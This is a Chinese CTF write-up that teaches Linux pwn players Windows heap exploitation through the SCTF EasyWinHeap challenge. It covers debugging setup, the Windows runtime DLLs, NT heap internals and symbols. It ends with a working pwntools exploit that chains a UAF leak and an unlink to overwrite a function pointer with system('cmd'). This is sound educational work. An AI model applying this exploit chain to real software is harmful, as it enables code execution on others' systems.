本文是写给只会Linux Pwn,而对Windows Pwn一窍不通的朋友,对照Linux Pwn的工具、原理、方法,讲解Windows下对应的内容。通过本文可以了解到:1.一种在Win下搭建Pwn题环境的方法(socat+pwntools+IDA) 2. Windows用户态进程运行的基本原理与一些实用工具 3.Windows堆管理的基本方法。本题的漏洞点是存在悬空指针可以UAF,而且对于该悬空指针可以继续show、edit、free。利用方式为通过UAFleak堆地址,然后通过unlink完成堆上的节点索引的改写进而继续leak出程序基址,进而继续改写堆上的索引节点leak出ucrt的基址,最后继续修改索引节点的函数指针为system并控制参数为cmd即可getshell。
- 题目附件:sctf_EasyWinHeap.zip
- 运行环境:
Win7 sp1
虚拟机,因为没有用win10,也就没有win10的terminal,所以还是采用cmder为本地的终端工具。
环境搭建
不同于winpwn: pwntools for Windows (mini),这里仍然采用pwntools来完成解题,pwntools是不支持本地直接启动windows进程的,所以本地采用socat直接架起来程序,相当于远程环境。
首先将socat目录添加到环境变量中,然后进入题目文件夹下使用如下命令启动socat,但是当有新的连接进来时总报错说找不到文件,然后我一急眼把题目文件夹也添加进环境变量就好了,不知道是什么原因。
socat tcp-listen:8888,fork EXEC:EasyWinHeap.exe,pipes &
启动socat成功后,当有新的连接连入时,则会启动一个新的EasyWinHeap进程,使用IDA本地attach上该进程即可开始调试。另外如果使用pwntools脚本解题,可以在remote连接之后添加raw_input,这时脚本不会继续发送数据,而socat已经完成进程的启动,所以在此时IDA附加到进程上即不会错过断点。如下:
from pwn import *
context.log_level = 'debug'
io = remote("10.10.10.137",8888)
sla = lambda delim,data : (io.sendlineafter(delim, data))
add = lambda size : (sla("option >\r\n", '1'),sla("size >\r\n", str(size)))
raw_input()
add(1)
io.interactive()
使用如上脚本与socat建立连接,则会启动一个EasyWinHeap进程。在IDA中给add函数下断,然后attach到EasyWinHeap进程,attach后IDA默认会断下,单击继续执行或按下F9,此时程序继续运行。然后在脚本运行处任意给一个输入,执行过raw_input,继续执行add(1),此时IDA即可捕获到断点,则可以愉快的进行调试了。
使用socat+pwntools+IDA的优点:
- pwntools环境无需更改
- IDA动态源码级别调试
使用socat+pwntools+IDA的缺点:
- 如_HEAP结构体无法直接解析查看(需要导入pdb文件)
- 调试断点与调试器的启动无法写在脚本中
当然如果使用socat启动进程也可以使用任何其他调试器来完成调试,但其实IDA的动态调试功能是被大大低估的。使用winpwn的优缺点与以上相反。
进程运行原理
这里我们和linux中的Pwn一样,主要关注进程内存空间的使用以及动态链接库的相关信息
进程是操作系统管理的,如果想要了解进行的进程的相关信息,肯定需要操作系统提供接口并且同意给用户查看。在linux中我们可以通过其提供的proc伪文件系统来查看进程的相关信息,proc伪文件系统也是用户和操作系统内核交互的一个途径,即用户态程序和内核交互的方法并不只有系统调用。比如我们可以查看/proc/pid/maps
来查看进程的内存布局,一般的pwn题中,除了题目本身的二进制,映射到进程内存的文件一般还有两个:libc.so,ld.so
,分别是c的运行库和ELF的动态加载器。
那么在windows里没有proc伪文件系统,我们怎么知道进程的相关信息呢?那就只能通过WindowsAPI了,不会用不要紧,有现成的工具,知道他们的基本原理就好。以下两个Windows官方工具:
- Process Explorer:提供更详细的进程信息的管理工具
- VMMap:可以查看程序的内存布局
另外winpwn里提供了一个命令行的vmmap工具,感觉不是很好用,一打印好几篇…
有了这两个工具我们就可以自己动手认识一下windows的进程了!我们写一个最简单的程序,在windows上使用gcc编译(首先要安装MinGW):
# include <stdio.h>
int main(){
int a;
scanf("%d",&a);
}
然后双击打开编译好的二进制可执行程序,然后使用使用Process Explorer
和VMMap
工具观察:
通过Process Explorer
可以看到test.exe
的父进程是explorer.exe
即文件管理器,因为我们是在目录下双击打开的。在VMMap
中看到信息就比较多了:
- 加载了5个动态链接库:
kernel32
,ntdll
,mscvrt
,KernelBase
,apisetschema
- 堆空间是多个且分散的
- 程序没有开ASLR
5个动态链接库看起来就比linux复杂,一个scanf
,在linux实现在libc.so
,然后就系统调用进内核了。但是因为Windows是闭源的,用户想要开发程序需要使用Windows提供的API,而不是直接使用系统调用,因为微软不告诉你系统调用怎么用。这里可以参考《程序员的自我修养》与Windows相关的部分以及:
- 加密与解密——3.1 Win32 API函数
- 加密与解密——3.2 WOW64
- C Runtime Library(MSVCRT)来历
- 终于理解了什么是c/c++运行时库,以及libcmt msvcrt等内容
通过以上内容能大概明白msvcrt
,kenerl32
,ntdll
是三个递进关系的动态链接库,msvcrt是c的运行时相当于linux里的libc,但是c的标准函数的实现并不是和linux相同去直接系统调用而是通过WindowsAPI,这些WindowsAPI的实现在kernel32,user32
等,再背后实现在ntdll
中的才是真正的系统调用。这里参考atum
和Angel Boy
两位大佬的slide:
- Intro to Windows Exploit Techniques for Linux PWNers
- Windows 10 Nt Heap Exploitation (Chinese version)
而且因为msvcrt的底层是windowsAPI,所以其源码也没有太多保密的需要,如果安装了VS是直接在VS的目录下可以找到其源码,这里给出github上有人从VS里拽出来的源码:msvcrt。那么KernelBase
,apisetschema
又是啥呢?
- Kernel32.dll vs Kernelbase.dll
- What is the difference between kernelBase.dll and Kernel32.dll
- New Low-Level Binaries
- Hook原理
- 深入剖析 api-ms-* 系列动态链接库
看起来KernelBase
是win7后,kernel32
与ntdll
中间的一层。apisetschema
是一种实现转发机制的DLL,和我们做的这次Pwn题关系不大。因为官方文档是给开发者视角看的,开发者并不需要关系API是怎么实现的,只需要按照要求用就好了,所以并没有关于动态链接库实现以及信息太多的微软官方的文档,不过可以在每个API的文档下面看到其依赖的dll:Programming reference for the Win32 API,更多的内容可以参考第三方信息:
- Wiki Dll
- Windows 7 中各个dll文件作用和用途
- Microsoft Windows library files
- Windows 7 DLL File Information
- Windows 8 DLL File Information
- Windows 10 DLL File Information
好,现在让我们来看一下题目附件:
➜ ls -al
drwxr-xr-x 9 user staff 288 7 22 12:38 .
drwxr-xr-x 25 user staff 800 7 22 12:37 ..
-rwx------@ 1 user staff 10240 7 4 02:07 EasyWinHeap.exe
-rw-------@ 1 user staff 649272 7 4 01:11 KERNEL32.dll
-rw-------@ 1 user staff 2079112 7 4 01:11 KERNELBASE.dll
-rw-------@ 1 user staff 1674480 7 4 01:12 ntdll.dll
-rw-------@ 1 user staff 1191512 7 4 01:11 ucrtbase.dll
-rw-------@ 1 user staff 83952 7 4 01:13 vcruntime140.dll
我们发现这里有熟悉的KERNEL32.dll,KERNELBASE.dll,ntdll.dll
,但是没有msvcrt.dll
,却有ucrtbase.dll
和vcruntime140.dll
。这俩又是啥玩意呢?阅读以下:
- msvcrt.dll 与 msvcr.dll 系列分别对应的是哪个版本的VC 运行时?
- vs2015部署—下一代VC运行时库系统:the Universal CRT
- Universal CRT deployment
其实就是微软把老的msvcrt.dll
拆开了,主要的c运行时的代码放在了ucrtbase.dll
中。另外msvcrt140.dll
不存在,只存在msvcp140.dll
,这里包含了C++标准库的实现,也就是说Angel Boy
的slide里是存在笔误的。
总之,把msvcrt.dll
,msvcrxxx.dll
,ucrtbase.dll
当成libc.so
就好。另外Windows下的动态链接库的使用的机制和linux也存在区别,在《程序员的自我修养》第十一章列举了如下的表格:
一开始我怎么也想不明白为啥一个动态链接库还配套一个lib静态库?其实在本书第九章介绍了这个lib是导入库,而不是静态库。(之前这本书里Windows相关的我都跳过去了…)可以参考如下文章:
其实就是编译一个动态链接的程序时,要告诉编译器:
- 我们要用什么动态库
- 确定这个库里的确有目标函数
在linux里直接通过.so
在编译时完成这个任务,即gcc -l
,并且在运行时也用.so
。而在windows中,编译时用.lib
,运行时用.dll
。简单的说就是windows把linux中的.so
单个文件的功能拆成了两个文件来用。而且Windows的PE文件中只包含所需要的dll
名字,不包含路径,则需要按照规则搜索:Dynamic-Link Library Search Order,程序当前目录也是搜索的一个环节,所以Pwn题把dll打包到程序目录也就可以理解了。
检查与分析
Linux有pwntools的checksec,原理是检查ELF文件中的各种保护标记位。在PE格式中一样存在类似的标记位,这里有对于PE文件的checksec.py,python3的脚本,另外安装需要lief和colorma两个库。
➜ python3 checksec.py EasyWinHeap.exe
ASLR: True
SafeSEH: False
DEP: True
ControlFlowGuard: False
HighEntropyVA: False
可以看到这里是开启了ASLR和DEP两种保护。另外关于Win的各种保护机制,是否仅在PE文件中标记就可以开启保护,与还有Windows系统版本相关等问题,我暂时还不清楚。可以参考《0day》、《加密与解密》、《漏洞战争》这些Windows相关的安全书籍,还有上面的PPT等资料。
接下来就是对题目的分析了:程序逻辑全在main函数里,没有分成各种函数调用。其中add
的while(1)
逻辑就是在链表上一个个往后添加节点,看起来这么麻烦也许是编译器的优化。剩下都非常容易看懂,漏洞点也非常容易发现:存在一个UAF,free后没有置NULL,然后在add,edit,show都可以使用已经free过的chunk。另外因为堆块大小使用错误导致在edit处存在堆溢出,不过本题利用并没有用到这个洞。我们可以看到题目没有使用malloc,free
这种POSIX API
,而是使用的如下的Windows API
:
HeapCreate(1u, 0x2000u, 0x2000u);
HeapAlloc(hHeap, 9u, 0x80u);
HeapFree(hHeap, 1u, *(chunk80 + 8 * *v21 + 4));
参考官方文档:Win32 API Heapapi.h Overview,可见Windows的文档的确是很详细,一些FLAG的具体取值也给了。Linux的man手册中基本不提供,想要知道一个FLAG的值要不是自己打印输出,要不去看源码,要不找别人通过这两种方式分析的结果。对于以上三个API的FLAG
HEAP_NO_SERIALIZE 0x00000001
HEAP_ZERO_MEMORY 0x00000008
HEAP_NO_SERIALIZE
是不开启序列化访问堆,可以再HeapCreate的文档页面的备注看到这个概念的解释,主要是用来控制多线程访问堆时的正常操作。并且如果设置了这个选项,则也无法对当前堆启用Low-fragmentation Heap(低碎片化堆 LFH)。另外就是POSIX
的malloc,free
Windows也给出了使用方法的文档:malloc,free。
Windows的堆
接下来就是重点了,知道有UAF和堆溢出,这俩基本就是所有堆上漏洞的本质成因了,在Linux里我们可能的利用方法:
- unsorted bin leak libc
- fastbin/tcache double free
- unlink
- …
以上的利用方法本质是glibc的ptmalloc的代码逻辑问题,但在Windows中堆管理器不是ptmalloc,而是微软自己的堆管理器,那是不是完全就和以上的利用方法说再见了呢?其实不然!
大同小异
以下这张图仍然来自上面给出的的AngelBoy的slide,这个就是当前Windows堆管理的big picture:
可以看到,在Windows的堆管理器中也采用了类似的空闲块组织成的链表(freelist)
,带头部信息的堆块(chunk)结构
。为什么与我们认识的ptmalloc如此相似呢?因管理内存这种块状的资源,大家思路都是批发零售,从大块中切出小块,然后把收回来的空闲块整理整理,卖的好的准备继续卖,不容易卖的就合并放起来。这种思路实现完大家都是链表和堆块,所以学完了ptmalloc的攻击方法,类似的攻击方式在其他的堆管理器中一样可能存在,比如checkm8。
那Windows的堆管理器是怎么实现的呢?很遗憾,这个微软不能告诉你。不过我们可以在微软的文档中发现一些堆的相关信息,这些东西的背后就是堆管理器:
历史变革
libc的版本在不断升级,ptmalloc的细节也一直在变化。Windows的堆管理器也是如此,小时候用的win95、win98上的堆,和现在win10上的堆肯定不是同一个堆管理器在管理。省去我们从零开始逆向那些dll的功夫,看看前辈们的分析结果。
有关windows堆的中文书籍中,写的比较详细的应当是《0day》,在第五章中,作者将win7即之前的堆管理机制分成了三个时代,并详细的讲解了第一个时代的利用方法,虽然比较容易,但已不适用于当前主流的Windows操作系统。不过我觉得不能将《0day》中提到的堆利用技术称之为过时的技术,因为仍然有适用于这种攻击方式的系统存在于世界上。接下来让我们来看看跟着时代的中文资料:
- Windows 10 Nt Heap Exploitation (Chinese version)
- Windows 10 下的堆结构及unlink分析
- Windows 10 段堆结构
- Windows 10 上的堆溢出漏洞利用
的确和《0day》中的堆不同了,最终找到一篇文章是详细的讲解了《0day》中没有提到的另外两个时代的文章,而且划分都一样,因为是参考的《0day》,也是对其内容进行了补充,文章详细介绍了三个时代的堆结构、漏洞以及攻击方法,非常全面:
读完可知,其实现在的堆大体上仍然是《0day》中提到的第三个阶段,文中也着重的介绍了当前堆的结构实现。不过我们知道Windows是没有公开堆管理器的实现,那么文中提到的各种结构体的名称难道也是极客们逆向出来的?当然不是!
初见windbg
Heap in Windows,当我第一次打开这篇文章我完全不知道如下在干什么,如果不对应着一个big picture讲堆我觉得简直是灾难,CTF-wiki中的堆的宏观视图和微观视图讲解的就很棒。
0:001> dt _heap
ntdll!_HEAP
+0x000 Segment : _HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x010 SegmentSignature : Uint4B
+0x014 SegmentFlags : Uint4B
+0x018 SegmentListEntry : _LIST_ENTRY
+0x028 Heap : Ptr64 _HEAP
其实dt _heap
是windbg的一个调试命令,dt是显示类型(Display Type)的意思,参考:调试指令手册。这里也就是打印_heap这个结构。这个结构是整个堆的一些信息,类似ptmalloc
的_heap_info
。那么看起来也就是说windbg知道windows堆的结构,于是我也安装了一个windbg,官网:Download Debugging Tools for Windows,这里提供的下载SDK不要奇怪,windbg是包含在sdk中,不过因为我本机是win7,所以只能找Windows SDK and emulator archive下载之前的版本的SDK。注意:www.windbg.org是民间的网站,并不是官网。总之当我安好了windbg之后,然后attach一个进程尝试dt _heap
:
0:001> dt _heap
*** ERROR: Module load completed but symbols could not be loaded for cmd.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\wow64cpu.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\wow64win.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\wow64.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: _heap ***
*** ***
*************************************************************************
Symbol _heap not found.
居然告诉我没有找到_heap
符号,难道这个结构体的信息不是windbg自带的?还真不是!
调试符号
原来windbg需要配置对应dll符号源文件才能解析相应的结构体,这也说的通。获得符号文件的方法是配置windbg,让他自己去微软官方下载,但我按照上面的方法在C盘新建symbols文件夹,然后在windbg的【file】 -> 【Symbol File Path】中添加:
C:\symbols;SRV*C:\symbols*http://msdl.microsoft.com/download/symbols
结果是,仍然不管用…在百思不得其解的翻阅google中看到了:
看起来都是最近的事,然后挂上全局代理之后,果然就好了,一开始因为上面的那个URL能访问就大意了,真是万恶的GFW,坑了我一个多小时。然后我就可以在C:\symbols
的目录中看到相应的pdb文件了,可以找到ntdll.pdb
目录下的ntdll.pdb
(32位的是wntdll.pdb
),当然还可以看到其他动态链接库的pdb也成功下载到了。
C:\symbols
λ dir
Volume in drive C has no label.
Volume Serial Number is 28AD-4B57
Directory of C:\symbols
07/27/2020 11:10 AM <DIR> .
07/27/2020 11:10 AM <DIR> ..
07/27/2020 04:40 AM <DIR> api-ms-win-core-file-l1-2-0.pdb
07/27/2020 04:40 AM <DIR> api-ms-win-core-file-l2-1-0.pdb
07/27/2020 04:40 AM <DIR> api-ms-win-core-localization-l1-2-0.pdb
07/27/2020 04:40 AM <DIR> api-ms-win-core-processthreads-l1-1-1.pdb
07/27/2020 04:39 AM <DIR> api-ms-win-core-synch-l1-2-0.pdb
07/27/2020 04:40 AM <DIR> api-ms-win-core-timezone-l1-1-0.pdb
07/27/2020 04:39 AM <DIR> api-ms-win-crt-convert-l1-1-0.pdb
07/27/2020 04:39 AM <DIR> api-ms-win-crt-heap-l1-1-0.pdb
07/27/2020 04:39 AM <DIR> api-ms-win-crt-locale-l1-1-0.pdb
07/27/2020 04:39 AM <DIR> api-ms-win-crt-math-l1-1-0.pdb
07/27/2020 04:40 AM <DIR> api-ms-win-crt-runtime-l1-1-0.pdb
07/27/2020 04:39 AM <DIR> api-ms-win-crt-stdio-l1-1-0.pdb
07/27/2020 04:40 AM <DIR> api-ms-win-crt-string-l1-1-0.pdb
07/27/2020 11:10 AM <DIR> ntdll.pdb
07/27/2020 04:29 AM 0 pingme.txt
07/27/2020 04:39 AM <DIR> ucrtbase.pdb
07/27/2020 04:40 AM <DIR> vcruntime140.i386.pdb
07/27/2020 04:40 AM <DIR> wkernel32.pdb
07/27/2020 04:40 AM <DIR> wkernelbase.pdb
07/27/2020 04:29 AM <DIR> wntdll.pdb
1 File(s) 0 bytes
21 Dir(s) 38,554,374,144 bytes free
如果尝试使用file命令查看其中具体的pdb文件可以看到:
C:\symbols\ntdll.pdb\6192BFDB9F04442995FFCB0BE95172E12
λ file ntdll.pdb
ntdll.pdb: MSVC program database ver 7.00, 1024*2363 bytes
这种文件格式参考:Program_database。总之这个文件中保存着对应dll的符号信息,可能包括各种变量名、函数名、结构体信息,甚至还可能包含源代码行号。至此我们已经可以在windbg里开心的dt _HEAP
了(大小写不敏感),不过还是更想用IDA当成主要的调试器,因为界面友好。那么IDA是否可以加载pdb文件呢?答案是肯定的,不过如果当你挂着全局代理使用IDA加载ntdll.dll,你会发现:
压根就不用导入!IDA会自己去微软的服务器上下载pdb文件然后识别!可以看到无论是函数名还是结构体信息IDA都可以识别出来:
但是动态调试时我们加载的是目标程序的PE文件,所以IDA不会自动加载ntdll的pdb文件,不过我们这时就可以选择手动导入IDA下载或者gdb下载的pdb文件。选择【File】->【Load file】->【PDB file】,然后设置到好动态调试时ntdll.dll的基址即可完成符号的加载。然后就可以对目标结构体按下y键或者通过菜单栏的【edit】->【Struct var】,重新设置变量类型为_HEAP
,即可成功解析:
至此我们可以回答:各种结构体的名称不是极客们逆向出来的,而是微软提供的。 虽然ntdll这些动态链接库删去了符号表,但为了方便调试,还是要放出一些符号信息给开发者。这些符号信息就是理解Windows背后机制的重要资料,因为符号蕴含了变量、函数、结构体等程序中关键信息的含义。有了符号,我们就可以“望文生义”,通过符号去大致了解变量、函数、结构题的用途,并最终帮助我们理解程序的意图。一个没有符号的程序,就像逻辑代数的真值表,程序work,但是人类却无法直接想清楚,这个程序是干啥的。找到一个站点vergiliusproject,非常酷炫,帮我们梳理了微软所提供的这些结构体信息,比如_HEAP。
解题
官方WP写的贼简单,exp也没个注释,感觉意思是人人都会Win Pwn一样,其他WP参考如下:
这题有UAF和堆溢出,而且堆上还有函数指针,所以思路基本就是想办法改写堆上的函数指针然后进行调用了。不过程序开了ASLR,也就是说我们什么地址都不知道,肯定需要leak各种信息。总的来说,这道题对应到linux上的攻击手法就是UAF通过unsorted bin泄露一些信息,然后unlink完成堆上的数据修改。不过在Windows上,细节上又与Linux不完全一样。
exp如下,需要注意的点与攻击步骤都写在注释里,而且上面两篇文章已经说得非常清楚了,足够完成本题:
from pwn import *
#context.log_level = 'debug'
ip = "10.10.10.137";port = 8888
io = remote(ip,port)
sla = lambda delim,data : (io.sendlineafter(delim, data))
add = lambda size : (sla("option >\r\n", '1'),sla("size >\r\n", str(size)))
show = lambda index : (sla("option >\r\n", '3'),sla("index >\r\n", str(index)))
edit = lambda index,data : (sla("option >\r\n", '4'),sla("index >\r\n", str(index)),sla("content >\r\n", data))
free = lambda index : (sla("option >\r\n", '2'),sla("index >\r\n", str(index)))
uu32 = lambda data : u32(data.ljust(4, b'\0'))
# UAF to leak heap
while(1):
add(32);add(32);add(32) # free block0 or block1, the fd is point to the largest free chunk, it can success leak the heap_base
free(1);show(1) # can't free block2 to leak heap_base, because it will merge to the largest free chunk.
heap_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x630 # and the fd will point to heap_base+0x00c4, it contains NULL byte.
if heap_base > 0x1000000 : # if the heap_base less than 4 byte, the next step to leak image_base can't success
break # because when we leak image_base, before the image_base is the heap_addr
io.close();io = remote(ip,port)
log.warn("heap_base:" + hex(heap_base))
list_addr = heap_base + 0x578
block0 = list_addr
block1 = list_addr + 8
# use unlink to make a loop and leak image_base
edit(1,p32(block1)+p32(block1+4)) # *(block1 + 4) = block1 + 4 , when show block1, it can leak data in list
add(32);show(1); # add(32) or free(0) both can trigger unlink
io.recv(4) # 4 byte heap_addr,if it's only 3 byte, it will be stop to print due to NULL byte
image_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x1043
log.warn("image_base:" + hex(image_base))
# use loop to leak ucrt
puts_iat = image_base + 0x20c4
edit(1, p32(puts_iat)+p32(0)+p32(block0));show(1) # modify block2content point to block0
ucrt_base = u32(io.recv(4))-0xb89f0
log.warn("ucrt_base:" + hex(ucrt_base))
system = ucrt_base+0xefda0
# modify func pointer to system and tigger it
edit(0, 'cmd\x00') # normal write, add "cmd" to block0content
edit(2, p32(system)+p32(heap_base+0x600)) # modify block0 func to system and repair block0content
show(0) # trigger system(cmd)
io.interactive()
总结对比
Windows | Linux | |
---|---|---|
调试器 | IDA, windbg, x64dbg, ollydbg, gdb | IDA, gdb |
解题环境 | pwntools+socat+IDA/winpwn/pwintools | pwntools |
进程工具 | Process Explorer, VMMap | ps, procfs |
C 运行库 | ucrtbase.dll | libc.so |
安全机制 | ASLR, DEP, SafeSEH, ControlFlowGuard | PIE, NX, Canary, RELRO |
安全检查 | checksec.py | checksec |
堆管理器 | Windows memory allocator (ntdll.dll) | ptmalloc (libc.so) |
堆结构体 | _HEAP | _heap_info |
空闲链表 | FreeLists | unsorted bin |
leak | heap_addr | libc_addr |
unlink | *(fd+4)=bk, *bk=fd | *(fd+12)=bk, *(bk+8)=fd |
getshell | system(“cmd”) | system(“/bin/sh”) |
扩展
其他题目
- ogeek ctf 2019 win pwn babyheap 详解
- HITB GSEC BABYSTACK — win pwn 初探
- HITB GSEC CTF WIN PWN解题全记录之BABYSTACK
- SUCTF 2019 PWN
- Windows Pwn First Blood
- Windows-pwn解题原理&利用手法详解